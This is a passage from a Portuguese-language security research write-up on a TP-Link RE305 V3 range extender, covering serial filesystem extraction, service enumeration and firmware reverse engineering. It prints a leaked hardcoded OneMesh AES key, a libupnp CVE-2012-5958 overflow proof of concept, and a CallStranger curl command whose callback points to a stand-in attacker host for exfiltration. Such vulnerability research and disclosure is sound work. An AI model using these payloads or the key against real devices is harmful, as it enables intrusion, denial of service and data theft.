<p>Dropbear 2011.54 desse build rejeita submissão vazia apesar do hash <code>/etc/shadow</code> ser empty. O parser do <code>svr_auth_password</code> faz early-reject de <code>password.length == 0</code> (comportamento default de dropbear ≥ 2014 — esse build de 2011 deve ter o patch backportado, ou o reject é da própria função crypt() do uClibc retornar erro pra entrada vazia).</p>
<p>E o caminho pubkey está fechado por configuração: não existe <code>authorized_keys</code> em lugar nenhum:</p>
<pre><code class="language-bash">root@OpenWrt:/# find / -name authorized_keys 2&gt;/dev/null
(sem saída)
root@OpenWrt:/# ls /etc/dropbear/
dropbear_dss_host_key   dropbear_rsa_host_key
root@OpenWrt:/# ps | grep dropbear
716 root /usr/sbin/dropbear -P /var/run/dropbear.1.pid -p 22
</code></pre>
<p>Só host keys, sem args de auth não-padrão. Pubkey auth tá ativa (server anuncia <code>publickey,password</code> no debug do ssh client) mas não tem candidatos com que comparar. Mesmo se eu carregasse a RSA-1024 reconstrubída do <code>accountmgnt</code>, dropbear não tem onde validar.</p>
<p>Resultado prático: <strong>UART é o único caminho de exploit pra empty root</strong>. Em recovery ou standalone, device pós-reset volta pros defaults, mas o SSH continua bloqueado em duas camadas (empty pwd reject + no <code>authorized_keys</code>). No RE305 V3 a categoria “embedded device with empty root in factory” se reduz a vetor físico.</p>
<p>Não achei CVE público apontando hash vazio + <code>SysAccountLogin</code> silently ignored no RE305 especificamente. A família tem CVEs em outros vendors, nenhum nessa combinação.</p>
<hr />
<h2>11. Tirando o filesystem inteiro pelo cabo serial</h2>
<p>Shell em mãos e o próximo passo óbvio era copiar <code>/etc</code>, <code>/lib</code>, <code>/bin</code>, <code>/sbin</code>, <code>/usr</code> e principalmente <code>/www</code> (uhttpd) pro meu PC, pra fazer análise estática offline. O caminho normal seria TFTP, scp ou wget. Tentei os três e nenhum colou.</p>
<p><code>tftp</code> no busybox do RE305 funciona como cliente, mas precisa de servidor no PC e o device com rota IP até lá. O RE305 tava em modo extender órfão, sem WAN configurada, <code>ifconfig</code> mostrando <code>br-lan</code> em 192.168.0.254 e meu PC em outra subnet pelo cabo da casa. Configurar rota static no device daria certo, mas é mexer em config persistente do dispositivo durante a análise — exatamente o que eu queria evitar pra não contaminar o estado.</p>
<p><code>scp</code> exige <code>ssh</code>/<code>scp</code> cliente no device. O dropbear desse build é só server, sem o utilitário cliente.</p>
<p><code>wget</code> puxa do PC pro device — direção errada pro que eu queria, e também depende de rede funcional entre os dois.</p>
<p>Sobrou UART. Eu já tinha o cabo, console em 115200 8N1, shell root respondendo. Bastava convencer o device a serializar arquivo em ASCII pelo console e remontar no PC.</p>
<p>A receita é direta. No device: <code>tar czf</code> o diretório alvo em <code>/tmp/xfer.tar.gz</code>, calcula MD5 do arquivo, depois pra cada chunk <code>dd skip=N count=1</code> + <code>base64</code> no stdout com marcadores de início/fim. No PC: lê linhas até ver o marcador, decoda o bloco base64 entre marcadores, valida tamanho e MD5 individual do chunk, agrega num arquivo. Ao fim, verifica MD5 do agregado contra o que o device reportou no início.</p>
<p>Implementei isso num script Python único, controlando comandos via <code>pyserial</code>. O device não roda script algum — recebe linha de comando, devolve output, ponto. Três razões pra essa arquitetura:</p>
<ol>
<li><p><strong>Sem heredoc, sem script no /tmp do device.</strong> Heredoc dentro de console serial busybox quebra com escapes esquisitos, e dropbear injeta <code>\r</code> em lugares que confundem o parser. Comando one-line por interação é previsível.</p>
</li>
<li><p><strong>Sem state no device.</strong> O PC controla qual chunk pediu, o device só responde idempotente. Se o script PC trava ou eu fecho o terminal por engano, refazendo o mesmo pedido o device entrega o mesmo chunk.</p>
</li>
<li><p><strong>MD5 por chunk e MD5 do agregado.</strong> UART em 115200 às vezes engole bytes em rajada longa, principalmente quando o terminal host (<code>tio</code>) tá no meio do caminho. Sem checksum por chunk eu só descobria a corrupção tentando extrair o tarball no PC.</p>
</li>
</ol>
<p>O loop principal do PC manda pro device:</p>
<pre><code class="language-python">cmd = (
    f"dd if=/tmp/xfer.tar.gz of=/tmp/c bs={chunk_size} skip={seq} count=1 2&gt;/dev/null; "
    f"SZ=\((wc -c &lt; /tmp/c | awk '{{print \)1}}'); "
    f"MD5=\((md5sum /tmp/c | awk '{{print \)1}}'); "
    f'echo "__BEG__{seq} \(SZ \)MD5"; '
    f"{encoder} &lt; /tmp/c; "
    f'echo "__END__{seq}"'
)
</code></pre>
<p>Marcadores <code>__BEG__</code> e <code>__END__</code> precisam ser strings que <strong>não aparecem</strong> em saída de comando normal. Duplo underline + uppercase resolveu. E o lado PC só aceita a linha como BEG válido se for split em quatro tokens com <code>p[0] == '__BEG__'</code> e <code>p[1] == str(seq)</code> — descarta o eco da própria linha de comando que tecnicamente contém <code>__BEG__</code> como substring.</p>
<p>Pega de armadilha: o busybox do RE305 nem sempre tem <code>base64</code> standalone. Quando openssl tá presente (que é o caso aqui), <code>openssl enc -base64</code> faz o mesmo trabalho. Detecção runtime no início da sessão:</p>
<pre><code class="language-python">link.write(
    "if command -v openssl &gt;/dev/null 2&gt;&amp;1 &amp;&amp; echo x|openssl enc -base64 &gt;/dev/null 2&gt;&amp;1; "
    "  then echo __ENC__=openssl; "
    "elif echo x|base64 &gt;/dev/null 2&gt;&amp;1; "
    "  then echo __ENC__=base64; "
    "else echo __ENC__=NONE; fi"
)
</code></pre>
<p>A outra otimização que vale lembrar é <code>stty -echo</code> antes de começar. Sem isso, cada comando volta ecoado no console e dobra o tráfego de retorno — pior, gera linhas que olham idênticas aos marcadores quando o parser é frouxo. Com <code>stty -echo</code> ativo, o output do device é limpo, só o resultado dos comandos.</p>
<p>Throughput observado em 115200 8N1 ficou em <del>9 KB/s. <code>/etc</code> (</del>44 KiB compactado) saiu em 5 segundos, <code>/lib</code> (~160 KiB) em 18s, <code>/www</code> (1.5 MiB) em ~3 min, <code>/usr</code> em ~7s. O gargalo é exclusivamente o serial — <code>dd</code>, <code>md5sum</code>, <code>base64</code> rodam instantâneos no MT7628. Pra flash inteira (8 MiB) seriam ~15 minutos, o que ainda é mais rápido que o método via <code>md.b</code> no U-Boot que rodei na seção 9 (124 minutos pros mesmos 8 MiB, porque <code>md.b</code> printa hex e tem overhead muito maior).</p>
<p>Script completo em <a href="serial_transfer.py"><code>serial_transfer.py</code></a>. Uso típico:</p>
<pre><code class="language-bash">./serial_transfer.py --port /dev/ttyACM0 --baud 115200 \
    --remote-path /etc --output etc.tar.gz
</code></pre>
<p>Resume automático: se cair no meio, basta repetir o mesmo comando. O state em <code>etc.tar.gz.state</code> salva o próximo chunk a baixar e o output é appended chunk a chunk. Útil quando a sessão <code>tio</code> cai por timeout, ou quando o cabo do Flipper desconecta no meio de uma transferência longa.</p>
<p>A técnica não é específica do RE305. Vale pra qualquer device embarcado com console serial e shell root acessível — switch industrial, IP camera, gateway VoIP, set-top box, qualquer hardware com console depurável onde a saída é “consegui shell, agora preciso ler os binários no IDA”. É o passo concreto entre observar o boot e instrumentar a plataforma.</p>
<p>Com a árvore de filesystem no PC eu pude rodar <code>binwalk</code>, <code>strings</code>, <code>file</code> no rootfs todo, abrir os ELFs no Ghidra, cruzar com o firmware OEM baixado do site da TP-Link, e mapear o que vem a seguir.</p>
<hr />
<h2>12. Mapeando a superfície via shell root</h2>
<p>Shell em mãos, faço o que faria em qualquer pentest pós-acesso. Enumero serviços, processos, configurações. O resultado é mais grave do que esperava. Vários daemons proprietários da TP-Link, todos rodando como root, vários expostos em <code>0.0.0.0</code>.</p>
<h3>12.1 Processos</h3>
<pre><code class="language-plaintext">/usr/bin/pfclient    (4 instâncias)
/usr/bin/tmpServer   (2 instâncias)
/usr/bin/tdpServer   (3 instâncias)
/usr/bin/cloud-brd   (3 instâncias)
/usr/bin/cloud-client
/usr/bin/client_mgmt
/usr/bin/smartipd    (3 instâncias)
/usr/bin/path_selection
/usr/bin/tddp
/usr/sbin/dropbear
/usr/sbin/uhttpd
wpsd                 (3 instâncias)
wifid
</code></pre>
<p>ubus APIs expostas (<code>ubus list</code>):</p>
<pre><code class="language-plaintext">PFClient, client_mgmt, cloud_client, service, system, tdpServer, tmpServer
</code></pre>
<p>Nada disso é OpenWrt vanilla. Tudo código proprietário TP-Link, documentação pública praticamente inexistente.</p>
<h3>12.2 Portas em listen</h3>
<p><code>netstat -tulnp</code>:</p>
<pre><code class="language-plaintext">tcp  0.0.0.0:22       LISTEN   1349/dropbear
tcp  0.0.0.0:80       LISTEN   653/uhttpd
tcp  0.0.0.0:6000     LISTEN   762/path_selection
tcp  0.0.0.0:6001     LISTEN   762/path_selection
tcp  127.0.0.1:20002  LISTEN   636/tmpServer
udp  0.0.0.0:1040              442/tddp
udp  0.0.0.0:20002             637/tdpServer
</code></pre>
<h3>12.3 dropbear 2011.54</h3>
<pre><code class="language-plaintext">$ /usr/sbin/dropbear -V
Unknown argument -V
Dropbear sshd v2011.54
</code></pre>
<p>Build 2011.54, outubro de 2011. Nove anos de drift até o firmware compilado em fevereiro de 2020. CVEs que afetam essa versão e rodam pre-auth ou imediatamente post-auth: CVE-2016-7406 (format string em messaging), CVE-2016-7407 (DoS via parsing malformado), CVE-2016-7408 (command injection em <code>dbclient</code>), CVE-2016-7409 (information disclosure), CVE-2017-9078 (use-after-free pós-auth).</p>
<p>Flags custom TP-Link no binário:</p>
<pre><code class="language-plaintext">-C    Use Web Server account login    (NÃO standard dropbear)
-L    Enable SSH session login        (NÃO standard dropbear)
</code></pre>
<p>A combinação <code>SysAccountLogin 'off'</code> + flag <code>-C</code> indica que o dropbear da TP-Link não usa <code>/etc/shadow</code> por default, usa um modelo de auth via Web Server account, provavelmente cifrado com a chave RSA que está em <code>/etc/config/accountmgnt</code>. Mesmo que o auth custom funcione corretamente, a versão é cripto e implementação antiga demais. CVE-2017-9078 sozinho (use-after-free post-auth) basta pra um auth bypass dar root.</p>
<h3>12.4 <code>path_selection</code></h3>
<p>Daemon proprietário em <code>0.0.0.0:6000</code> e <code>0.0.0.0:6001</code> TCP. Binário <code>/usr/bin/path_selection</code>, 54.792 bytes, build Feb/2020. Funções via strings:</p>
<pre><code class="language-plaintext">handle_debug_event           (interface de debug acessível externamente)
handle_error_event
handle_path_selection
handle_read_event
handle_sta_assoc_event
handle_sta_disassoc_event
handle_update_config_event   (config update via socket)
path_selection_finit
path_selection_init
</code></pre>
<p>Dois sockets TCP públicos aceitando <code>handle_debug_event</code> e <code>handle_update_config_event</code>. Reverse via Ghidra ou IDA é mandatório pra mapear o wire protocol, mas o nome dos handlers já sugere superfície interessante. <code>update_config_event</code> aceita string sem validação? <code>debug_event</code> aceita comando shell?</p>
<p>Sem CVE público.</p>
<h3>12.5 TDDP em <code>0.0.0.0:1040</code> UDP</h3>
<p>O daemon que mais me chamou atenção do passe inicial. <code>tddp</code> (TP-Link Device Debug Protocol) é protocolo proprietário de gerência out-of-band, historicamente vetor de CVE-2020-12109 em vários roteadores TP-Link.</p>
<p>Comandos enumerados via strings em <code>/usr/bin/tddp</code>:</p>
<pre><code class="language-plaintext">tddp_cmd_setCfg
tddp_cmd_getCfg
tddp_cmd_spCmd               (special command, tipicamente shell exec)
tddp_cmd_getHwDesc / HwID / FwID / MAC / DevID / OEMID
tddp_cmd_setOEMID / setDevID
tddp2_cmd_setPin             (TDDPv2 set PIN)
tddp_cmd_getGpioStatus
tddp2_cmd_setMac
</code></pre>
<p>Hooks críticos:</p>
<pre><code class="language-plaintext">tddp_hook_setmac %02X:%02X:%02X:%02X:%02X:%02X
tddp_hook_erase_radio        (pacote UDP pode APAGAR a partição radio)
</code></pre>
<p>Funções perigosas no binário:</p>
<pre><code class="language-plaintext">strcpy, strcat, vsprintf, popen, system
</code></pre>
<p>E uma string que parece format string passada pra <code>system()</code>:</p>
<pre><code class="language-plaintext">echo $(getfirm HARDVERSION) | tr -d "\n"
</code></pre>
<p>Se o output de <code>getfirm HARDVERSION</code> é influenciável pelo atacante via <code>tddp_cmd_setCfg</code>, é command injection direto via pacote UDP. Não validei ainda, probing UDP dedicado ficou pra próxima sessão, não quis correr risco de DoS o device com pacote malformado e perder o uptime atual.</p>
<p>Auth do TDDP no binário:</p>
<pre><code class="language-plaintext">tddp_md5_calc
tddp_md5_verify_digest
tddp_des_min_do              (single DES auth)
</code></pre>
<p>Single DES (<code>des_min_do</code>) tem chave de 56 bits, quebrável por brute-force em hardware comum desde 1998. Se o digest do TDDP usa single DES como camada de proteção, atacante MITM com hardware razoável quebra a chave em umas 24h e fala TDDP autenticado.</p>
<p>CVE-2020-12109 foi publicada em 23 de abril de 2020. Firmware deste RE305 é de 12 de fevereiro de 2020. Pré-patch. Provável variant afetada. Confirmação pendente via teste UDP dedicado.</p>
<p>Operações destrutivas acionáveis via UDP no port 1040. <code>tddp_cmd_setCfg</code> altera config persistente sem autenticação plain. <code>tddp2_cmd_setMac</code> muda MAC address (impersonation, ou conflito em LAN). <code>tddp_cmd_setOEMID</code> muda OEM ID. <code>tddp_hook_erase_radio</code> apaga a partição radio, perda permanente de calibração WiFi, brick parcial do device sem JTAG.</p>
<h3>12.6 tdpServer em <code>0.0.0.0:20002</code> UDP</h3>
<p>Nome similar mas daemon diferente, <code>tdp</code>, não <code>tddp</code>. Implementa o protocolo OneMesh de descoberta de devices. Binário <code>/usr/bin/tdpServer</code>, 160.108 bytes. Funções principais:</p>
<pre><code class="language-plaintext">tdp_client_send_probe
tdp_client_attach_master / auto_attach_master
tdp_onemesh_slave_store_rsa_pub        (armazena pubkey RSA do master)
tdp_onemesh_slave_offer_slave_key
tdp_onemesh_master_get_rsa_pub
tdp_server_parse_probe
tdp_server_parse_attach_master
tdp_server_parse_slave_key_offer
</code></pre>
<p>Listening em <code>0.0.0.0:20002</code> UDP, acessível externamente. Atacante na LAN inicia OneMesh slave-key exchange MITM.</p>
<p>E o crypto que protege o key exchange. Inspeção inicial dos imports:</p>
<pre><code class="language-plaintext">$ strings /usr/bin/tdpServer | grep -E 'DES|AES'
DES_encrypt3
DES_decrypt3
DES_set_key_unchecked
DES_encrypt1
DES_encrypt2
DES_ede3_cbc_encrypt
DES_ecb_encrypt
DES_pcbc_encrypt
des_min_do
AES_set_decrypt_key
AES_set_encrypt_key
AES_cbc_encrypt
</code></pre>
<p>Mix de primitivas. Mas a inspeção dos imports não conta a história — saber qual é usada onde requer ver o disasm.</p>
<p>Reverte a função <code>sym.tdp_server_parse_slave_key_offer</code> (a que processa o pacote de slave-key offer no master side do OneMesh, função de 2948 bytes em <code>/usr/bin/tdpServer</code>). Comando exato:</p>
<pre><code class="language-bash">$ r2 -2 -q -e scr.color=0 -c 'aaa; s sym.tdp_server_parse_slave_key_offer; pdf' \
    /usr/bin/tdpServer | grep -iE "(tpapp_aes|str\.|TPONEMESH)"
0x004191e0      d80a4626       addiu a2, s2, 0xad8         ; 0x420ad8 ; "TPONEMESH_Kf!xn?gj6pMAt-wBNV_TDP"
0x004191e4      e7cb1104       bal sym.tpapp_aes_decrypt
...
0x004199c4      e880998f       lw t9, -sym.tpapp_aes_encrypt(gp)
0x004199d4      65c91104       bal sym.tpapp_aes_encrypt
</code></pre>
<img src="https://cdn.hashnode.com/uploads/covers/6a107e9e1f237623ea0e01ee/3a894546-0f7e-4535-8623-70f4eecdff7f.png" alt="" style="display:block;margin:0 auto" />

<p>Extraindo a string direto do binário pra confirmar:</p>
<pre><code class="language-bash">$ python3 -c "
with open('/usr/bin/tdpServer','rb') as f:
    data = f.read()
# offset 0x20ad8 em .rodata (file offset, não VA)
idx = data.find(b'TPONEMESH_')
print(f'offset (file): {hex(idx)}')
print(f'value: {data[idx:idx+32]!r}')
print(f'length: {len(data[idx:].split(chr(0).encode())[0])} bytes')
"
offset (file): 0x20ad8
value: b'TPONEMESH_Kf!xn?gj6pMAt-wBNV_TDP'
length: 32 bytes
</code></pre>
<p>A primeira string carregada antes do <code>tpapp_aes_decrypt</code> é uma constante hardcoded em <code>.rodata</code>. Exatamente 32 bytes ASCII printáveis. É a <strong>chave AES-256</strong> usada pra cifrar e decifrar o slave key exchange do OneMesh. Hardcoded no binário, idêntica em todas as unidades RE305 V3 (e provavelmente em toda a linha TP-Link que compartilha esse build do tdpServer).</p>
<p>A função <code>des_min_do</code> existe sim e usa single DES (<code>DES_encrypt1</code> em loop, sem <code>DES_encrypt2/3</code>), mas ela é chamada por uma função separada (<code>fcn.00404228</code> → <code>fcn.00404420</code>), não pela path de slave-key exchange. O que <code>des_min_do</code> cifra está em outra surface — provavelmente código legacy ou helper para outro tipo de mensagem TDP. Não confirmei o uso exato dessa rotina nesse passe.</p>
<p>A inferência inicial F20 (“DES single como auth no OneMesh”) nasceu de ler o <code>strings</code> puro e ver <code>DES_encrypt1</code>, <code>des_min_do</code> nos imports. Estava errado. Revisando depois do RE:</p>
<p>O slave-key exchange do OneMesh usa <strong>AES-256-CBC</strong>, não DES single. Mas com <strong>chave hardcoded global</strong> <code>TPONEMESH_Kf!xn?gj6pMAt-wBNV_TDP</code> (32 bytes ASCII), igual em toda a frota TP-Link da linha RE/OneMesh que compartilha esse <code>tdpServer</code>. Qualquer um com o firmware decifra qualquer slave-key offer capturado entre RE305 e router master, e forja mensagens válidas após autenticar com o MAC do par. Bate com a falha que documento na seção 15 no <code>crypto.lua</code> — <code>2EB38F7E...427F7836</code> é a chave AES-256 do path <code>enc_for_onemesh</code> da Lua side, e <code>TPONEMESH_Kf!xn?gj6pMAt-wBNV_TDP</code> é a chave do path C side do tdpServer. Duas chaves diferentes, dois canais OneMesh, mesma falha de design dos dois lados.</p>
<p>Source path vazado no binário pelas strings de erro (assertion / debug logs):</p>
<pre><code class="language-plaintext">$ strings /usr/bin/tdpServer | grep -E "\.c:[0-9]+" | sort -u | head -10
tdpOneMesh.c:711
tdpOneMesh.c:715
...
tdpOneMesh.c:3138         ← linha que carrega a chave TPONEMESH_K... pra AES decrypt
tdpOneMesh.c:3147         ← linha do erro "Failed to decrypt."
tpAppLua.c:44
tpAppLua.c:53
</code></pre>
<p>Linha 3138 é onde a chave hardcoded é carregada antes da chamada <code>tpapp_aes_decrypt</code>. Build não removeu paths de assertion em release. Atacante com o binário sabe exatamente em qual arquivo .c (fora do firmware open-source) está cada decisão de design da TP-Link nesse subsistema.</p>
<h3>12.7 uhttpd sem TLS</h3>
<p><code>/etc/config/uhttpd</code>:</p>
<pre><code class="language-plaintext">option listen_https '0.0.0.0:443'
option listen_http  '0.0.0.0:80'
option cert '/etc/uhttpd.crt'
option key  '/etc/uhttpd.key'
</code></pre>
<p>Realidade do binário:</p>
<pre><code class="language-plaintext">$ strings /usr/sbin/uhttpd | grep -i tls
uhttpd: TLS support not compiled, ignoring -%c
</code></pre>
<p><code>netstat</code>:</p>
<pre><code class="language-plaintext">tcp  0.0.0.0:80   LISTEN   653/uhttpd
(:443 ausente)
</code></pre>
<p>WebUI roda em HTTP cleartext. Config lista <code>listen_https</code>, mas o binário foi compilado sem suporte TLS, flags HTTPS são silently dropped. Credenciais do usuário trafegam em plain HTTP.</p>
<h3>12.8 <code>rfc1918_filter</code> desabilitado</h3>
<p><code>cat /etc/config/uhttpd</code>:</p>
<pre><code class="language-plaintext">option rfc1918_filter '0'
</code></pre>
<p>Proteção contra DNS rebinding OFF no build BR de fevereiro de 2020. Cenário: usuário visita site malicioso pelo browser na LAN, site faz XHR/fetch pra <code>http://192.168.0.254/</code> ou nome resolvido pra IP RFC1918, sem <code>rfc1918_filter</code> o uhttpd aceita a request com Host header reescrito por DNS rebinding, bypass de Same-Origin Policy. Combinado com admin com senha vazia em factory state e HTTP plain, é takeover completo via browser do usuário.</p>
<h3>12.9 SSH host keys em ramfs</h3>
<pre><code class="language-plaintext">$ mount | grep etc
none on /etc type ramfs (rw,relatime)
$ ls -la /etc/dropbear/
-rw-------    1 root     root    457 Jan  1 00:00 dropbear_dss_host_key
-rw-------    1 root     root    427 Jan  1 00:00 dropbear_rsa_host_key
</code></pre>
<p><code>/etc</code> é ramfs, regenerado a cada boot. SSH host keys geradas runtime, não são shipped nem shared entre devices. Positivo, evita o problema clássico de OEM distribuir a mesma host key em milhões de unidades.</p>
<p>Mas keys regeneradas a cada boot significa que o cache <code>known_hosts</code> do cliente SSH invalida a cada reboot, usuário treina pra ignorar MITM warning. E o PRNG seed pra geração no boot inicial pode ser fraca (entropy pool zerada em hardware sem TRNG, e o MT7628 não tem TRNG hardware-grade), keys previsíveis. Sem persistência, sem auditoria de mudança de keys.</p>
<p>Hygiene fail, não CVE-class.</p>
<h3>12.10 wscd — UPnP IGD com libupnp 1.3.1 (de 2007, vulnerável)</h3>
<p><code>/bin/wscd</code> é o daemon WPS + UPnP Internet Gateway Device do RE305. 260 KiB, MIPS LE, stripped. Sobe na boot via init script padrão e fica em SSDP multicast em <code>239.255.255.250:1900 UDP</code> + HTTP server interno (porta dinâmica) servindo <code>description.xml</code>, action invocations SOAP, eventing.</p>
<p>A versão da stack UPnP está literalmente no User-Agent que o próprio daemon manda em respostas HTTP. Capturo via strings:</p>
<pre><code class="language-plaintext">$ strings /bin/wscd | grep -i "UPnP/"
%s/%s, UPnP/1.0, Portable SDK for UPnP devices/1.3.1

$ strings /bin/wscd | grep -i "GCC"
GCC: (Buildroot 2012.11.1) 4.6.3
</code></pre>
<p><strong>libupnp 1.3.1, build de 2012, gcc 4.6.3.</strong> A versão 1.3.1 é de <strong>junho de 2007</strong>. A 1.6.18 (janeiro 2013) já incluía fixes para os seguintes CVEs que afetam diretamente 1.3.1:</p>
<table>
<thead>
<tr>
<th>CVE</th>
<th>Função</th>
<th>Impacto</th>
</tr>
</thead>
<tbody><tr>
<td>CVE-2012-5958</td>
<td><code>unique_service_name()</code> em ssdp_server.c</td>
<td>Stack buffer overflow via SSDP M-SEARCH com header <code>ST</code> malicioso, <strong>pre-auth RCE</strong></td>
</tr>
<tr>
<td>CVE-2012-5959</td>
<td><code>unique_service_name()</code></td>
<td>Variante do mesmo overflow</td>
</tr>
<tr>
<td>CVE-2012-5960</td>
<td><code>unique_service_name()</code></td>
<td>Variante do mesmo overflow</td>
</tr>
<tr>
<td>CVE-2012-5961</td>
<td><code>parser_parse_headers()</code> em httpparser.c</td>
<td>Header parsing overflow</td>
</tr>
<tr>
<td>CVE-2020-12695</td>
<td>CallStranger — protocolo design flaw em SUBSCRIBE callback</td>
<td>Reflection amplification, data exfil</td>
</tr>
</tbody></table>
<p>Funções literalmente presentes no binário, na text section, confirmadas pelo radare:</p>
<pre><code class="language-plaintext">$ nm /bin/wscd | grep -E '(unique_service_name|ssdp_request_type|parser_parse)'
0041b76c T unique_service_name
0041ba2c T ssdp_request_type1
0041bb1c T ssdp_request_type
00424130 T parser_parse_responseline
00424500 T parser_parse_headers
00424890 T parser_parse_entity
</code></pre>
<p>Isso é o pacote de funções afetado por CVE-2012-5958..5961 in situ, sem patch.</p>
<p>Impacto direto. wscd roda como root (escalating from procd init). Atacante na LAN doméstica do RE305 manda um pacote UDP unicast/multicast pra <code>port 1900</code> com header <code>ST</code> maior que o buffer esperado, sobrescreve return address ou ROP gadgets, ganha shell root sem credencial. O range extender, na configuração típica de “estende a wifi de casa”, está alcançável por qualquer dispositivo na mesma rede WiFi de hóspedes.</p>
<p>Reprodução do reconhecimento mínimo (LAN, sem disparar o overflow):</p>
<pre><code class="language-bash"># Confirma que o RE305 responde SSDP M-SEARCH normal (sanity check)
$ python3 -c "
import socket
m = (b'M-SEARCH * HTTP/1.1\r\n'
     b'HOST: 239.255.255.250:1900\r\n'
     b'MAN:\"ssdp:discover\"\r\n'
     b'MX: 2\r\n'
     b'ST: ssdp:all\r\n\r\n')
s = socket.socket(socket.AF_INET, socket.SOCK_DGRAM)
s.settimeout(3)
s.sendto(m, ('239.255.255.250', 1900))
while True:
    try:
        d, a = s.recvfrom(65535)
        print(f'--- from {a} ---')
        print(d.decode(errors='replace'))
    except socket.timeout: break
"
</code></pre>
<p>Resposta esperada do RE305 (User-Agent confirma o daemon e a versão):</p>
<pre><code class="language-plaintext">--- from ('192.168.0.x', 1900) ---
HTTP/1.1 200 OK
CACHE-CONTROL: max-age=1800
DATE: ...
EXT:
LOCATION: http://192.168.0.x:&lt;port&gt;/IGDdevicedesc.xml
SERVER: Linux/2.6.36, UPnP/1.0, Portable SDK for UPnP devices/1.3.1
ST: upnp:rootdevice
USN: uuid:...
</code></pre>
<p>A linha <code>SERVER:</code> confirma a versão vulnerável diretamente do device, sem precisar dump de firmware. Esse é o fingerprint que vai no ticket de PSIRT.</p>
<p>PoC do overflow CVE-2012-5958 — não rodei aqui pra não derrubar meu próprio device durante a análise, mas a forma do payload é documentada publicamente:</p>
<pre><code class="language-bash"># AVISO: este payload é destrutivo e crasha o wscd. Apenas referência pro PSIRT.
$ python3 -c "
import socket
# Header ST oversized — buffer alvo era ~180 bytes em 1.3.1, mando ~2000
oversize_st = b'uuid:' + (b'A' * 2000) + b'::urn:schemas-upnp-org:service:Foo:1'
m = (b'M-SEARCH * HTTP/1.1\r\n'
     b'HOST: 239.255.255.250:1900\r\n'
     b'MAN:\"ssdp:discover\"\r\n'
     b'MX: 1\r\n'
     b'ST: ' + oversize_st + b'\r\n\r\n')
s = socket.socket(socket.AF_INET, socket.SOCK_DGRAM)
s.sendto(m, ('192.168.0.x', 1900))   # unicast ao device alvo
"
</code></pre>
<p>Em libupnp 1.3.1, isso entra no <code>unique_service_name()</code> (<code>ssdp_server.c:~600</code>) que faz <code>strcpy</code> em buffer fixed-size do header <code>ST</code>. Resultado em produção (sem ASLR significativo nesse build, e o MT7628 não tem stack canary): crash do wscd com PC controlável, segue ROP/shellcode na stack pra elevação de execução em root. Confirmação dinâmica fica pra fora desse paper estático e pro próximo passo do disclosure formal.</p>
<p>CallStranger (CVE-2020-12695) é design flaw — o CallBack URL de UPnP eventing aponta externamente. O atacante manda SUBSCRIBE pro extender com <code>CALLBACK: &lt;http://atacante.example/x&gt;</code>, o extender envia eventos pra esse URL. Reflection amplification + exfil de informação interna (state do device).</p>
<p>Reprodução do CallStranger:</p>
<pre><code class="language-bash"># Discover service URL primeiro (via M-SEARCH normal acima), depois:
$ LOCATION='http://192.168.0.x:port/event_url'  # do response do M-SEARCH
\( curl -X SUBSCRIBE "\)LOCATION" \
    -H "CALLBACK: &lt;http://atacante.example.com/exfil&gt;" \
    -H "NT: upnp:event" \
    -H "TIMEOUT: Second-1800" \
    -v
</code></pre>
<p>Resposta com <code>200 OK</code> + header <code>SID:</code> confirma subscription criada. Em seguida o RE305 começa a fazer NOTIFY POST contra <code>atacante.example.com/exfil</code> com payloads de evento UPnP — exfil sem auth do state interno.</p>
<p>Hardening que TP-Link teria como fazer e não fez:</p>
<ul>
<li><p>Upgrade libupnp pra 1.14.x atual (release de 2024) — fix de 13 anos disponível, embargado por hábito de não atualizar dependências em produtos consumer</p>
</li>
<li><p>Disable UPnP IGD por default (a maioria dos roteadores enterprise faz isso há anos)</p>
</li>
<li><p>Adicionar binding restrito à LAN, sem multicast cross-network</p>
</li>
<li><p>Substituir por implementação custom validada</p>
</li>
</ul>
<p>Não tem CVE público específico apontando “TP-Link RE305 com libupnp 1.3.1 in production em 2020/2024”. Family CVE — CVE-2012-5958 — bate diretamente no código que dumpei.</p>
<h3>12.11 Daemons restantes (wifid, nrd, nvrammanager, smartipd)</h3>
<p>Catalogados aqui pra completude. Sem detalhe de finding-class novo, surface ainda em mapeamento.</p>
<p><code>wifid</code> (268 KiB, <code>/usr/bin/wifid</code>). Daemon de gerenciamento WiFi. Imports <code>system</code>, <code>popen</code>, <code>sprintf</code>, <code>strcpy</code>, <code>fork</code>. Lê config de <code>/tmp/wifi.conf</code>, <code>/tmp/wifi_prelink_config</code>, <code>/tmp/wifi_scan_2g.result</code>. Sem rede direta (não tem <code>bind</code>/<code>accept</code>), comunicação via netlink ou unix socket. Atacante na LAN sem shell não chega direto, mas se controla um dos arquivos de config (via <code>wscd</code> UPnP control point ou via Lua-template injection do uhttpd), pode disparar <code>system()</code> em payload controlado. Vetor indireto.</p>
<p><code>nrd</code> (254 KiB, <code>/usr/sbin/nrd</code>). Network Roaming Daemon do pacote Quantenna/Qualcomm de WiFi band steering. Functions: <code>steeralg_init</code>, <code>triggermon_init</code>, <code>estimator_init</code>, <code>stadb_init</code>, <code>steerexec_init</code>, <code>wlanif_init</code>, <code>netdb_init</code>. Surface 100% interna (netlink + ubus). Não foi observado bind em socket inet. Apesar do tamanho, é coordenador interno, não vetor de exposição externa. Sem CVE direto previsto.</p>
<p><code>nvrammanager</code> (174 KiB, <code>/usr/bin/nvrammanager</code>). Gerencia escrita em flash via <code>/proc/mtd</code>, e expõe API via ubus (<code>/var/run/ubus.sock</code>). Imports <code>system</code>, <code>sprintf</code>, <code>strcpy</code> — paths perigosos se input externo chega às chamadas shell. É o daemon que provavelmente consome <code>cloud_push 'new_firmware'</code> da seção 13 (cadeia: cloud-brd recebe URL → cloud-client baixa → nvrammanager grava na partição). Vetor de RCE em cadeia se atacante conseguir injetar URL ou conteúdo controlado em qualquer ponto dessa cadeia.</p>
<p><code>smartipd</code> (54 KiB, <code>/usr/bin/smartipd</code>). Daemon de “smart IP” / DHCP enhancement. Lê <code>/tmp/device.info</code>, <code>/tmp/udhcpd.info</code>, <code>/tmp/wifi_runtime_info.*</code>. Sem bind direto inet. Pequeno o suficiente pra varredura mas baixa prioridade no pentest.</p>
<p>Pra todos esses, finding-class ainda não confirmado nesse passe estático — surface mapeada com hipóteses, validação dinâmica fica pendente pro paper de continuidade ou pro disclosure formal.</p>
<hr />
<h2>13. Canal cloud TP-Link (cloud-brd + cloud-client)</h2>
